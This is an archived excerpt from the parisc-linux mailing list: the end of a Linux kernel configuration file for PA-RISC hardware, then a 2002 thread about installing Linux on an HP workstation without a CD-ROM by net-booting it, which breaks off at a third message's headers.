# CONFIG_BLK_DEV_OFFBOARD is not set
# CONFIG_IDEDMA_PCI_AUTO is not set
CONFIG_BLK_DEV_IDEDMA=y
# CONFIG_IDEDMA_PCI_WIP is not set
# CONFIG_IDEDMA_NEW_DRIVE_LISTINGS is not set
# CONFIG_BLK_DEV_AEC62XX is not set
# CONFIG_AEC62XX_TUNING is not set
# CONFIG_BLK_DEV_ALI15X3 is not set
# CONFIG_WDC_ALI15X3 is not set
# CONFIG_BLK_DEV_AMD74XX is not set
# CONFIG_AMD74XX_OVERRIDE is not set
# CONFIG_BLK_DEV_CMD64X is not set
# CONFIG_BLK_DEV_CY82C693 is not set
# CONFIG_BLK_DEV_CS5530 is not set
# CONFIG_BLK_DEV_HPT34X is not set
# CONFIG_HPT34X_AUTODMA is not set
# CONFIG_BLK_DEV_HPT366 is not set
CONFIG_BLK_DEV_NS87415=y
# CONFIG_BLK_DEV_OPTI621 is not set
# CONFIG_BLK_DEV_PDC202XX is not set
# CONFIG_PDC202XX_BURST is not set
# CONFIG_PDC202XX_FORCE is not set
# CONFIG_BLK_DEV_SVWKS is not set
# CONFIG_BLK_DEV_SIS5513 is not set
# CONFIG_BLK_DEV_SLC90E66 is not set
# CONFIG_BLK_DEV_TRM290 is not set
# CONFIG_BLK_DEV_VIA82CXXX is not set
# CONFIG_IDE_CHIPSETS is not set
# CONFIG_IDEDMA_AUTO is not set
# CONFIG_IDEDMA_IVB is not set
# CONFIG_DMA_NONPCI is not set
# CONFIG_BLK_DEV_IDE_MODES is not set
# CONFIG_BLK_DEV_ATARAID is not set
# CONFIG_BLK_DEV_ATARAID_PDC is not set
# CONFIG_BLK_DEV_ATARAID_HPT is not set

#
# SCSI support
#
CONFIG_SCSI=y
CONFIG_BLK_DEV_SD=y
CONFIG_SD_EXTRA_DEVS=40
CONFIG_CHR_DEV_ST=y
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=y
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_SR_EXTRA_DEVS=2
CONFIG_CHR_DEV_SG=y
# CONFIG_SCSI_DEBUG_QUEUES is not set
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set

#
# SCSI low-level drivers
#
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_7000FASST is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AHA152X is not set
# CONFIG_SCSI_AHA1542 is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_IN2000 is not set
# CONFIG_SCSI_AM53C974 is not set
# CONFIG_SCSI_MEGARAID is not set
# CONFIG_SCSI_BUSLOGIC is not set
# CONFIG_SCSI_CPQFCTS is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_DTC3280 is not set
# CONFIG_SCSI_EATA is not set
# CONFIG_SCSI_EATA_DMA is not set
# CONFIG_SCSI_EATA_PIO is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_GDTH is not set
# CONFIG_SCSI_GENERIC_NCR5380 is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_PPA is not set
# CONFIG_SCSI_IMM is not set
# CONFIG_SCSI_NCR53C406A is not set
CONFIG_SCSI_LASI700=y
CONFIG_53C700_MEM_MAPPED=y
CONFIG_53C700_LE_ON_BE=y
CONFIG_53C700_USE_CONSISTENT=y
# CONFIG_SCSI_NCR53C7xx is not set
# CONFIG_SCSI_SYM53C8XX_2 is not set
# CONFIG_SCSI_NCR53C8XX is not set
CONFIG_SCSI_SYM53C8XX=y
CONFIG_SCSI_ZALON=y
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
# CONFIG_SCSI_NCR53C8XX_PROFILE is not set
# CONFIG_SCSI_NCR53C8XX_IOMAPPED is not set
# CONFIG_SCSI_NCR53C8XX_PQS_PDS is not set
# CONFIG_SCSI_NCR53C8XX_SYMBIOS_COMPAT is not set
# CONFIG_SCSI_PAS16 is not set
# CONFIG_SCSI_PCI2000 is not set
# CONFIG_SCSI_PCI2220I is not set
# CONFIG_SCSI_PSI240I is not set
# CONFIG_SCSI_QLOGIC_FAS is not set
# CONFIG_SCSI_QLOGIC_ISP is not set
# CONFIG_SCSI_QLOGIC_FC is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_SYM53C416 is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_T128 is not set
# CONFIG_SCSI_U14_34F is not set
# CONFIG_SCSI_DEBUG is not set

#
# PCMCIA SCSI adapter support
#
# CONFIG_SCSI_PCMCIA is not set

#
# Network device support
#
CONFIG_NETDEVICES=y

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
# CONFIG_TUN is not set
# CONFIG_ETHERTAP is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
CONFIG_LASI_82596=y
# CONFIG_SUNLANCE is not set
# CONFIG_HAPPYMEAL is not set
# CONFIG_SUNBMAC is not set
# CONFIG_SUNQE is not set
# CONFIG_SUNGEM is not set
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_LANCE is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
# CONFIG_AT1700 is not set
# CONFIG_DEPCA is not set
CONFIG_HP100=m
CONFIG_NET_ISA=y
# CONFIG_E2100 is not set
# CONFIG_EWRK3 is not set
# CONFIG_EEXPRESS is not set
# CONFIG_EEXPRESS_PRO is not set
# CONFIG_HPLAN_PLUS is not set
# CONFIG_HPLAN is not set
# CONFIG_LP486E is not set
# CONFIG_ETH16I is not set
CONFIG_NE2000=m
CONFIG_NET_PCI=y
CONFIG_PCNET32=m
# CONFIG_ADAPTEC_STARFIRE is not set
# CONFIG_AC3200 is not set
# CONFIG_APRICOT is not set
# CONFIG_CS89x0 is not set
CONFIG_TULIP=y
# CONFIG_TULIP_MWI is not set
# CONFIG_TULIP_MMIO is not set
# CONFIG_DE4X5 is not set
# CONFIG_DGRS is not set
# CONFIG_DM9102 is not set
# CONFIG_EEPRO100 is not set
# CONFIG_LNE390 is not set
# CONFIG_FEALNX is not set
# CONFIG_NATSEMI is not set
# CONFIG_NE2K_PCI is not set
# CONFIG_NE3210 is not set
# CONFIG_ES3210 is not set
# CONFIG_8139CP is not set
# CONFIG_8139TOO is not set
# CONFIG_8139TOO_PIO is not set
# CONFIG_8139TOO_TUNE_TWISTER is not set
# CONFIG_8139TOO_8129 is not set
# CONFIG_8139_NEW_RX_RESET is not set
# CONFIG_SIS900 is not set
# CONFIG_EPIC100 is not set
# CONFIG_SUNDANCE is not set
# CONFIG_TLAN is not set
# CONFIG_VIA_RHINE is not set
# CONFIG_VIA_RHINE_MMIO is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_NET_POCKET is not set

#
# Ethernet (1000 Mbit)
#
# CONFIG_ACENIC is not set
# CONFIG_DL2K is not set
# CONFIG_MYRI_SBUS is not set
# CONFIG_NS83820 is not set
# CONFIG_HAMACHI is not set
# CONFIG_YELLOWFIN is not set
# CONFIG_SK98LIN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PLIP is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# Wireless LAN (non-hamradio)
#
# CONFIG_NET_RADIO is not set

#
# Token Ring devices
#
# CONFIG_TR is not set
# CONFIG_NET_FC is not set
# CONFIG_RCPCI is not set
# CONFIG_SHAPER is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# PCMCIA network device support
#
# CONFIG_NET_PCMCIA is not set

#
# Input core support
#
CONFIG_INPUT=y
CONFIG_INPUT_KEYBDEV=y
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
CONFIG_INPUT_JOYDEV=y
CONFIG_INPUT_EVDEV=y

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_GSC_PS2=y
CONFIG_HP_SDC=m
CONFIG_SERIAL=y
CONFIG_SERIAL_CONSOLE=y
CONFIG_SERIAL_GSC=y
# CONFIG_SERIAL_EXTENDED is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256
CONFIG_PRINTER=m
# CONFIG_LP_CONSOLE is not set
CONFIG_PPDEV=m

#
# I2C support
#
# CONFIG_I2C is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
CONFIG_MOUSE=y
CONFIG_PSMOUSE=y
# CONFIG_82C710_MOUSE is not set
# CONFIG_PC110_PAD is not set

#
# Joysticks
#
CONFIG_INPUT_GAMEPORT=m
# CONFIG_INPUT_NS558 is not set
# CONFIG_INPUT_LIGHTNING is not set
# CONFIG_INPUT_PCIGAME is not set
# CONFIG_INPUT_CS461X is not set
# CONFIG_INPUT_EMU10K1 is not set
CONFIG_INPUT_SERIO=m
# CONFIG_INPUT_SERPORT is not set
# CONFIG_INPUT_ANALOG is not set
# CONFIG_INPUT_A3D is not set
# CONFIG_INPUT_ADI is not set
# CONFIG_INPUT_COBRA is not set
# CONFIG_INPUT_GF2K is not set
# CONFIG_INPUT_GRIP is not set
# CONFIG_INPUT_INTERACT is not set
# CONFIG_INPUT_TMDC is not set
# CONFIG_INPUT_SIDEWINDER is not set
# CONFIG_INPUT_IFORCE_USB is not set
# CONFIG_INPUT_IFORCE_232 is not set
# CONFIG_INPUT_WARRIOR is not set
# CONFIG_INPUT_MAGELLAN is not set
# CONFIG_INPUT_SPACEORB is not set
# CONFIG_INPUT_SPACEBALL is not set
# CONFIG_INPUT_STINGER is not set
# CONFIG_INPUT_DB9 is not set
# CONFIG_INPUT_GAMECON is not set
# CONFIG_INPUT_TURBOGRAFX is not set
# CONFIG_QIC02_TAPE is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
CONFIG_GENRTC=y
# CONFIG_INTEL_RNG is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_AGP is not set
# CONFIG_DRM is not set

#
# PCMCIA character devices
#
# CONFIG_PCMCIA_SERIAL_CS is not set

#
# Multimedia devices
#
CONFIG_VIDEO_DEV=m

#
# Video For Linux
#
CONFIG_VIDEO_PROC_FS=y
# CONFIG_I2C_PARPORT is not set
# CONFIG_VIDEO_PMS is not set
# CONFIG_VIDEO_BWQCAM is not set
# CONFIG_VIDEO_CQCAM is not set
CONFIG_VIDEO_CPIA=m
# CONFIG_VIDEO_SAA5249 is not set
# CONFIG_TUNER_3036 is not set
# CONFIG_VIDEO_STRADIS is not set
# CONFIG_VIDEO_ZORAN is not set
# CONFIG_VIDEO_ZORAN_BUZ is not set
# CONFIG_VIDEO_ZORAN_DC10 is not set
# CONFIG_VIDEO_ZORAN_LML33 is not set
# CONFIG_VIDEO_ZR36120 is not set
# CONFIG_VIDEO_MEYE is not set

#
# Radio Adapters
#
# CONFIG_RADIO_CADET is not set
# CONFIG_RADIO_RTRACK is not set
# CONFIG_RADIO_RTRACK2 is not set
# CONFIG_RADIO_AZTECH is not set
# CONFIG_RADIO_GEMTEK is not set
# CONFIG_RADIO_GEMTEK_PCI is not set
# CONFIG_RADIO_MAXIRADIO is not set
# CONFIG_RADIO_MAESTRO is not set
# CONFIG_RADIO_MIROPCM20 is not set
# CONFIG_RADIO_MIROPCM20_RDS is not set
# CONFIG_RADIO_SF16FMI is not set
# CONFIG_RADIO_TERRATEC is not set
# CONFIG_RADIO_TRUST is not set
# CONFIG_RADIO_TYPHOON is not set
# CONFIG_RADIO_ZOLTRIX is not set

#
# File systems
#
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_REISERFS_FS is not set
# CONFIG_REISERFS_CHECK is not set
# CONFIG_REISERFS_PROC_INFO is not set
# CONFIG_ADFS_FS is not set
# CONFIG_ADFS_FS_RW is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_BFS_FS is not set
CONFIG_EXT3_FS=y
CONFIG_JBD=y
# CONFIG_JBD_DEBUG is not set
# CONFIG_FAT_FS is not set
# CONFIG_MSDOS_FS is not set
# CONFIG_UMSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_JFFS_FS is not set
# CONFIG_JFFS2_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_TMPFS is not set
# CONFIG_RAMFS is not set
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
# CONFIG_ZISOFS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_NTFS_RW is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVFS_FS is not set
# CONFIG_DEVFS_MOUNT is not set
# CONFIG_DEVFS_DEBUG is not set
CONFIG_DEVPTS_FS=y
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX4FS_RW is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
# CONFIG_UDF_FS is not set
# CONFIG_UDF_RW is not set
# CONFIG_UFS_FS is not set
# CONFIG_UFS_FS_WRITE is not set

#
# Network File Systems
#
# CONFIG_CODA_FS is not set
# CONFIG_INTERMEZZO_FS is not set
CONFIG_NFS_FS=y
CONFIG_NFS_V3=y
CONFIG_ROOT_NFS=y
CONFIG_NFSD=y
CONFIG_NFSD_V3=y
CONFIG_SUNRPC=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
# CONFIG_SMB_FS is not set
# CONFIG_NCP_FS is not set
# CONFIG_NCPFS_PACKET_SIGNING is not set
# CONFIG_NCPFS_IOCTL_LOCKING is not set
# CONFIG_NCPFS_STRONG is not set
# CONFIG_NCPFS_NFS_NS is not set
# CONFIG_NCPFS_OS2_NS is not set
# CONFIG_NCPFS_SMALLDOS is not set
# CONFIG_NCPFS_NLS is not set
# CONFIG_NCPFS_EXTRAS is not set
# CONFIG_ZISOFS_FS is not set
# CONFIG_ZLIB_FS_INFLATE is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_SMB_NLS is not set
CONFIG_NLS=y

#
# Native Language Support
#
CONFIG_NLS_DEFAULT="iso8859-1"
# CONFIG_NLS_CODEPAGE_437 is not set
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
# CONFIG_NLS_CODEPAGE_850 is not set
# CONFIG_NLS_CODEPAGE_852 is not set
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1250 is not set
# CONFIG_NLS_CODEPAGE_1251 is not set
# CONFIG_NLS_ISO8859_1 is not set
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
# CONFIG_NLS_ISO8859_15 is not set
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
# CONFIG_NLS_UTF8 is not set

#
# Console drivers
#

#
# Frame-buffer support
#
CONFIG_FB=y
CONFIG_DUMMY_CONSOLE=y
# CONFIG_FB_RIVA is not set
# CONFIG_FB_CLGEN is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
CONFIG_FB_STI=y
# CONFIG_FB_MATROX is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_VIRTUAL is not set
# CONFIG_FBCON_ADVANCED is not set
CONFIG_FBCON_CFB8=y
CONFIG_FBCON_CFB32=y
CONFIG_FBCON_STI=y
# CONFIG_FBCON_FONTWIDTH8_ONLY is not set
# CONFIG_FBCON_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_STI_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_FBCON=y
CONFIG_FBCON_FONT=y
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_FONT_6x11=y
CONFIG_FONT_SUN12x22=y

#
# Sound
#
CONFIG_SOUND=y
# CONFIG_SOUND_BT878 is not set
# CONFIG_SOUND_CMPCI is not set
# CONFIG_SOUND_EMU10K1 is not set
# CONFIG_MIDI_EMU10K1 is not set
# CONFIG_SOUND_FUSION is not set
# CONFIG_SOUND_CS4281 is not set
# CONFIG_SOUND_ES1370 is not set
# CONFIG_SOUND_ES1371 is not set
# CONFIG_SOUND_ESSSOLO1 is not set
# CONFIG_SOUND_MAESTRO is not set
# CONFIG_SOUND_MAESTRO3 is not set
# CONFIG_SOUND_ICH is not set
CONFIG_SOUND_HARMONY=y
# CONFIG_SOUND_RME96XX is not set
# CONFIG_SOUND_SONICVIBES is not set
# CONFIG_SOUND_TRIDENT is not set
# CONFIG_SOUND_MSNDCLAS is not set
# CONFIG_SOUND_MSNDPIN is not set
# CONFIG_SOUND_VIA82CXXX is not set
# CONFIG_MIDI_VIA82CXXX is not set
# CONFIG_SOUND_OSS is not set
# CONFIG_SOUND_TVMIXER is not set

#
# USB support
#
# CONFIG_USB is not set
# CONFIG_USB_UHCI is not set
# CONFIG_USB_UHCI_ALT is not set
# CONFIG_USB_OHCI is not set
# CONFIG_USB_AUDIO is not set
# CONFIG_USB_BLUETOOTH is not set
# CONFIG_USB_STORAGE is not set
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
# CONFIG_USB_STORAGE_DPCM is not set
# CONFIG_USB_STORAGE_HP8200e is not set
# CONFIG_USB_STORAGE_SDDR09 is not set
# CONFIG_USB_STORAGE_JUMPSHOT is not set
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set
# CONFIG_USB_HID is not set
# CONFIG_USB_HIDDEV is not set
# CONFIG_USB_KBD is not set
# CONFIG_USB_MOUSE is not set
# CONFIG_USB_WACOM is not set
# CONFIG_USB_DC2XX is not set
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_SCANNER is not set
# CONFIG_USB_MICROTEK is not set
# CONFIG_USB_HPUSBSCSI is not set
# CONFIG_USB_IBMCAM is not set
# CONFIG_USB_OV511 is not set
# CONFIG_USB_PWC is not set
# CONFIG_USB_SE401 is not set
# CONFIG_USB_STV680 is not set
# CONFIG_USB_VICAM is not set
# CONFIG_USB_DSBR is not set
# CONFIG_USB_DABUSB is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_CATC is not set
# CONFIG_USB_CDCETHER is not set
# CONFIG_USB_USBNET is not set
# CONFIG_USB_USS720 is not set

#
# USB Serial Converter support
#
# CONFIG_USB_SERIAL is not set
# CONFIG_USB_SERIAL_GENERIC is not set
# CONFIG_USB_SERIAL_BELKIN is not set
# CONFIG_USB_SERIAL_WHITEHEAT is not set
# CONFIG_USB_SERIAL_DIGI_ACCELEPORT is not set
# CONFIG_USB_SERIAL_EMPEG is not set
# CONFIG_USB_SERIAL_FTDI_SIO is not set
# CONFIG_USB_SERIAL_VISOR is not set
# CONFIG_USB_SERIAL_IPAQ is not set
# CONFIG_USB_SERIAL_IR is not set
# CONFIG_USB_SERIAL_EDGEPORT is not set
# CONFIG_USB_SERIAL_KEYSPAN_PDA is not set
# CONFIG_USB_SERIAL_KEYSPAN is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28 is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28X is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28XA is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28XB is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA19 is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA18X is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA19W is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA49W is not set
# CONFIG_USB_SERIAL_MCT_U232 is not set
# CONFIG_USB_SERIAL_KLSI is not set
# CONFIG_USB_SERIAL_PL2303 is not set
# CONFIG_USB_SERIAL_CYBERJACK is not set
# CONFIG_USB_SERIAL_XIRCOM is not set
# CONFIG_USB_SERIAL_OMNINET is not set
# CONFIG_USB_RIO500 is not set

#
# Kernel hacking
#
CONFIG_MAGIC_SYSRQ=y

------=_NextPart_000_0051_01C1EC42.9542E370--



From - Thu Nov 08 21:22:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Patryk Bonzanini" <paboman1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] linux on pa-risc
Date: Thu, 25 Apr 2002 13:09:25 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <F41rNKBqujsclWXSZ3Z00000a78@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; format=flowed
X-Trace: ger.gmane.org 1416621255 6523 80.91.229.3 (22 Nov 2014 01:54:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 25 07:09:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (f41.law7.hotmail.com [216.33.237.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23B33482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Apr 2002 07:09:27 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 25 Apr 2002 06:09:26 -0700
Original-Received: from 213.156.52.139 by lw7fd.law7.hotmail.msn.com with HTTP;
	Thu, 25 Apr 2002 13:09:25 GMT
X-Originating-IP: [213.156.52.139]
X-OriginalArrivalTime: 25 Apr 2002 13:09:26.0068 (UTC) FILETIME=[6CDC6740:01C1EC5A]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14649

hi, i have an hp workstation whit hp-ux operating system and pa-risc cpu 
(100mhz)
this computer doesn't have any cdrom or floppy drive.

can i install linux on this machine?
what can i do whitout cdrom, i must buy it?

after this upgrade can i run maya for linux ?
thanks



PaboDesign


_________________________________________________________________
Conversa in chat con gli amici in linea, prova MSN Messenger: 
http://messenger.msn.com




From - Thu Nov 08 21:22:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux on pa-risc
Date: Thu, 25 Apr 2002 18:05:04 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <OE39OUdgYVtpTX7m52u0000117f@hotmail.com>
References: <F41rNKBqujsclWXSZ3Z00000a78@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621255 6525 80.91.229.3 (22 Nov 2014 01:54:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:15 +0000 (UTC)
To: "Patryk Bonzanini" <paboman1@hotmail.com>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 25 10:08:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe39.law4.hotmail.com [216.33.148.76])
	by dsl2.external.hp.com (Postfix) with ESMTP id DCC78482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Apr 2002 10:08:40 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 25 Apr 2002 09:08:39 -0700
X-Originating-IP: [212.190.6.158]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 25 Apr 2002 16:08:39.0593 (UTC) FILETIME=[76761990:01C1EC73]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14650

You can find a list of supported models here:
http://mkhppa1.esiee.fr/list.html

As your workstation doesn't have any external devices, you'll need an
aditional Linux/UNIX box to net-boot it. All instructions can be found here:
http://mkhppa1.esiee.fr/parisc-linux-boot/parisc-linux-boot.html#BOOTNETWORK

I'm sorry, I don't know maya.

Hope this helps.


regards,

Kenneth

----- Original Message -----
From: "Patryk Bonzanini" <paboman1@hotmail.com>
To: <parisc-linux@lists.parisc-linux.org>
Sent: Thursday, April 25, 2002 3:09 PM
Subject: [parisc-linux] linux on pa-risc


> hi, i have an hp workstation whit hp-ux operating system and pa-risc cpu
> (100mhz)
> this computer doesn't have any cdrom or floppy drive.
>
> can i install linux on this machine?
> what can i do whitout cdrom, i must buy it?
>
> after this upgrade can i run maya for linux ?
> thanks
>
>
>
> PaboDesign
>
>
> _________________________________________________________________
> Conversa in chat con gli amici in linea, prova MSN Messenger:
> http://messenger.msn.com
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:22:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux on pa-risc
Date: Fri, 26 Apr 2002 11:14:05 +0800
Lines: 34
Approved: news@gmane.org
